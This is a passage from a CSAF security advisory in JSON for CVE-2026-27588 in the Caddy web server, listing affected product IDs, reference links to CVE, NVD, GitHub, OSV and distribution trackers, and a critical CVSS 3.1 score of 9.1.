"CSAFPID-4034441", "CSAFPID-4034447", "CSAFPID-4034448", "CSAFPID-4034449", "CSAFPID-4034450", "CSAFPID-4034451", "CSAFPID-4034455", "CSAFPID-4034456", "CSAFPID-4034457", "CSAFPID-4034464", "CSAFPID-4034465", "CSAFPID-4034466", "CSAFPID-4034467", "CSAFPID-4034468", "CSAFPID-4034469", "CSAFPID-4034470", "CSAFPID-4034471", "CSAFPID-4034472", "CSAFPID-4034473", "CSAFPID-4034474", "CSAFPID-4034475", "CSAFPID-4034476", "CSAFPID-4034477", "CSAFPID-4034478", "CSAFPID-4034479", "CSAFPID-4034480", "CSAFPID-4034481", "CSAFPID-4034482", "CSAFPID-5700154", "CSAFPID-5700155", "CSAFPID-5700156", "CSAFPID-5700157", "CSAFPID-5700158", "CSAFPID-5700159", "CSAFPID-5700160", "CSAFPID-5700161", "CSAFPID-5700162", "CSAFPID-5700163", "CSAFPID-5700164", "CSAFPID-5700165", "CSAFPID-5700166", "CSAFPID-5700167", "CSAFPID-5700168", "CSAFPID-5700169", "CSAFPID-5700170", "CSAFPID-5700171", "CSAFPID-5700172", "CSAFPID-5700173", "CSAFPID-5700174", "CSAFPID-5700175", "CSAFPID-5700176", "CSAFPID-5700177", "CSAFPID-5700549", "CSAFPID-5706479", "CSAFPID-5735034", "CSAFPID-5735035", "CSAFPID-5735036", "CSAFPID-5735037", "CSAFPID-5913749", "CSAFPID-5913750", "CSAFPID-5913751", "CSAFPID-5913752", "CSAFPID-5913753", "CSAFPID-5913754", "CSAFPID-5913755", "CSAFPID-5913756", "CSAFPID-5913757", "CSAFPID-5913758", "CSAFPID-5913759", "CSAFPID-5913760", "CSAFPID-5918974", "CSAFPID-5918976" ] }, "references": [ { "category": "external", "summary": "Source - cveprojectv5", "url": "https://www.cve.org/CVERecord?id=CVE-2026-27588" }, { "category": "external", "summary": "Source raw - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/27xxx/CVE-2026-27588.json" }, { "category": "external", "summary": "Source - nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27588" }, { "category": "external", "summary": "Source raw - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-27588" }, { "category": "external", "summary": "Source - github", "url": "https://github.com/advisories/GHSA-x76f-jf84-rqj8" }, { "category": "external", "summary": "Source raw - github", "url": "https://api.github.com/advisories/GHSA-x76f-jf84-rqj8" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-x76f-jf84-rqj8.json?alt=media" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-27588.json?alt=media" }, { "category": "external", "summary": "Source - debian", "url": "https://security-tracker.debian.org/tracker/CVE-2026-27588" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-27588" }, { "category": "external", "summary": "Source raw - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4541.json?alt=media" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Ubuntu%2FUBUNTU-CVE-2026-27588.json?alt=media" }, { "category": "external", "summary": "Source - gitlab", "url": "https://gitlab.com/api/v4/projects/25847700/repository/files/go%2Fgithub.com%2Fcaddyserver%2Fcaddy%2Fv2%2FCVE-2026-27588.yml/raw" }, { "category": "external", "summary": "Source - gitlab", "url": "https://gitlab.com/api/v4/projects/25847700/repository/files/go%2Fgithub.com%2Fcaddyserver%2Fcaddy%2Fv2%2Fmodules%2Fcaddyhttp%2FCVE-2026-27588.yml/raw" }, { "category": "external", "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv", "url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-x76f-jf84-rqj8" }, { "category": "external", "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv", "url": "https://github.com/caddyserver/caddy/releases/tag/v2.11.1" }, { "category": "external", "summary": "Reference - github; gitlab; osv", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27588" }, { "category": "external", "summary": "Reference - github; gitlab; osv", "url": "https://github.com/caddyserver/caddy/commit/eec32a0bb5a11651c6a7b04ce82dc50610f2b27e" }, { "category": "external", "summary": "Reference - github; gitlab", "url": "https://github.com/advisories/GHSA-x76f-jf84-rqj8" }, { "category": "external", "summary": "Reference - osv", "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/27xxx/CVE-2026-27588.json" }, { "category": "external", "summary": "Reference - github; gitlab; osv", "url": "https://pkg.go.dev/vuln/GO-2026-4541" }, { "category": "external", "summary": "Reference - osv", "url": "https://ubuntu.com/security/CVE-2026-27588" }, { "category": "external", "summary": "Reference - osv", "url": "https://www.cve.org/CVERecord?id=CVE-2026-27588" }, { "category": "external", "summary": "Reference - gitlab", "url": "https://github.com/caddyserver/caddy" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL" }, "products": [ "CSAFPID-4034332", "CSAFPID-4034342", "CSAFPID-4034343", "CSAFPID-4034344", "CSAFPID-4034345", "CSAFPID-4034346", "CSAFPID-4034347", "CSAFPID-4034348", "CSAFPID-4034349", "CSAFPID-4034350", "CSAFPID-4034351", "CSAFPID-4034352", "CSAFPID-4034353", "CSAFPID-4034354", "CSAFPID-4034355", "CSAFPID-4034356", "CSAFPID-4034357", "CSAFPID-4034358", "CSAFPID-4034359", "CSAFPID-4034360", "CSAFPID-4034361", "CSAFPID-4034362", "CSAFPID-4034363", "CSAFPID-4034364", "CSAFPID-4034378", "CSAFPID-4034379", "CSAFPID-4034380", "CSAFPID-4034387", "CSAFPID-4034396", "CSAFPID-4034400", "CSAFPID-4034401", "CSAFPID-4034402", "CSAFPID-4034407", "CSAFPID-4034411", "CSAFPID-4034417", "CSAFPID-4034418", "CSAFPID-4034419", "CSAFPID-4034420", "CSAFPID-4034435", "CSAFPID-4034436", "CSAFPID-4034437", "CSAFPID-4034438", "CSAFPID-4034441", "CSAFPID-4034447", "CSAFPID-4034448", "CSAFPID-4034449", "CSAFPID-4034450", "CSAFPID-4034451", "CSAFPID-4034455", "CSAFPID-4034456", "CSAFPID-4034457", "CSAFPID-4034464", "CSAFPID-4034465", "CSAFPID-4034466", "CSAFPID-4034467", "CSAFPID-4034468", "CSAFPID-4034469", "CSAFPID-4034470", "CSAFPID-4034471", "CSAFPID-4034472", "CSAFPID-4034473", "CSAFPID-4034474", "CSAFPID-4034475", "CSAFPID-4034476", "CSAFPID-4034477", "CSAFPID-4034478", "CSAFPID-4034479", "CSAFPID-4034480", "CSAFPID-4034481", "CSAFPID-4034482", "CSAFPID-5688699", "CSAFPID-5700114", "CSAFPID-5700154", "CSAFPID-5700155", "CSAFPID-5700156", "CSAFPID-5700157", "CSAFPID-5700158", "CSAFPID-5700159", "CSAFPID-5700160", "CSAFPID-5700161", "CSAFPID-5700162", "CSAFPID-5700163", "CSAFPID-5700164", "CSAFPID-5700165", "CSAFPID-5700166", "CSAFPID-5700167", "CSAFPID-5700168", "CSAFPID-5700169", "CSAFPID-5700170", "CSAFPID-5700171", "CSAFPID-5700172", "CSAFPID-5700173", "CSAFPID-5700174", "CSAFPID-5700175", "CSAFPID-5700176", "CSAFPID-5700177", "CSAFPID-5700549", "CSAFPID-5706479", "CSAFPID-5735034", "CSAFPID-5735035", "CSAFPID-5735036", "CSAFPID-5735037", "CSAFPID-5913749", "CSAFPID-5913750", "CSAFPID-5913751", "CSAFPID-5913752", "CSAFPID-5913753", "CSAFPID-5913754", "CSAFPID-5913755", "CSAFPID-5913756", "CSAFPID-5913757", "CSAFPID-5913758", "CSAFPID-5913759", "CSAFPID-5913760", "CSAFPID-5918974", "CSAFPID-5918976" ] } ], "title": "CVE-2026-27588" } ] }